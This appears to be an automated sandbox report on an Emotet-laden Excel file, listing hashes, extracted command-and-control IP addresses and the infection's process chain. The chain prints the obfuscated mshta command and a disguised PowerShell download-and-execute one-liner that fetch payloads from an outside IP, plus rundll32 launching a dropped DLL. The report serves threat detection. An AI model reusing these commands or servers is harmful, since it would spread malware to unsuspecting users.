Analysis
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max time kernel
161s -
max time network
187s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 01:15
Behavioral task
behavioral1
Sample
Form.xls
Resource
win7-en-20211208
General
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Target
Form.xls
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Size
46KB
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MD5
0c8ae2b4291caabf44fc04b112ee1e83
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SHA1
6d20052710b5cd3c33553fcd8c264ba30e25976c
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SHA256
6c1549c07c7d85f83adac3a460646c019767e48882edd2f50f7567a932fcfc78
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SHA512
65909edfef9a13fbf3f9afbe488654b8e463e846eff922fd38148673d1c1d1d6ec53dfe1726a4d826c0951d9d92ab1d954982a10cd0d39e5be0b3daa425b8ca3
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2260 2680 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 3 IoCs
Processes:
mshta.exepowershell.exeflow pid process 46 3216 mshta.exe 47 1500 powershell.exe 49 1500 powershell.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 812 rundll32.exe 732 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Cxtxeq\xdjad.wwe rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1184 3216 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2680 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exeWerFault.exepid process 1500 powershell.exe 1500 powershell.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1184 WerFault.exe 1500 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 1500 powershell.exe Token: SeDebugPrivilege 1184 WerFault.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE 2680 EXCEL.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exedescription pid process target process PID 2680 wrote to memory of 2260 2680 EXCEL.EXE CMD.EXE PID 2680 wrote to memory of 2260 2680 EXCEL.EXE CMD.EXE PID 2260 wrote to memory of 3216 2260 CMD.EXE mshta.exe PID 2260 wrote to memory of 3216 2260 CMD.EXE mshta.exe PID 3216 wrote to memory of 1500 3216 mshta.exe powershell.exe PID 3216 wrote to memory of 1500 3216 mshta.exe powershell.exe PID 1500 wrote to memory of 2396 1500 powershell.exe cmd.exe PID 1500 wrote to memory of 2396 1500 powershell.exe cmd.exe PID 2396 wrote to memory of 812 2396 cmd.exe rundll32.exe PID 2396 wrote to memory of 812 2396 cmd.exe rundll32.exe PID 2396 wrote to memory of 812 2396 cmd.exe rundll32.exe PID 812 wrote to memory of 732 812 rundll32.exe rundll32.exe PID 812 wrote to memory of 732 812 rundll32.exe rundll32.exe PID 812 wrote to memory of 732 812 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Form.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3216 -s 16524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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\ProgramData\QWER.dllMD5
568ddf4d26baa3fadb6f5903e18119cc
SHA1c556ef89517f7b5cc51fa96d042958eb553e6519
SHA25674aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254
SHA51298f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4
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memory/732-625-0x0000000005190000-0x00000000051B5000-memory.dmpFilesize
148KB
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memory/732-623-0x0000000005130000-0x0000000005155000-memory.dmpFilesize
148KB
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memory/732-621-0x00000000050D0000-0x00000000050F5000-memory.dmpFilesize
148KB
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memory/732-619-0x0000000004F70000-0x0000000004F95000-memory.dmpFilesize
148KB
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memory/732-617-0x0000000004E80000-0x0000000004EA5000-memory.dmpFilesize
148KB
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memory/812-611-0x00000000048C1000-0x00000000048E2000-memory.dmpFilesize
132KB
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memory/1500-376-0x00000169CA090000-0x00000169E2170000-memory.dmpFilesize
384.9MB
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memory/1500-280-0x00000169E22A0000-0x00000169E22C2000-memory.dmpFilesize
136KB
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memory/1500-316-0x00000169CA090000-0x00000169E2170000-memory.dmpFilesize
384.9MB
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memory/1500-313-0x00000169E2A50000-0x00000169E2AC6000-memory.dmpFilesize
472KB
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memory/1500-301-0x00000169E2990000-0x00000169E29CC000-memory.dmpFilesize
240KB
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memory/1500-297-0x00000169CA090000-0x00000169E2170000-memory.dmpFilesize
384.9MB
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memory/2680-122-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-132-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmpFilesize
64KB
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memory/2680-131-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmpFilesize
64KB
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memory/2680-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-121-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-120-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-119-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-637-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-638-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-639-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB
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memory/2680-640-0x00007FFF06850000-0x00007FFF06860000-memory.dmpFilesize
64KB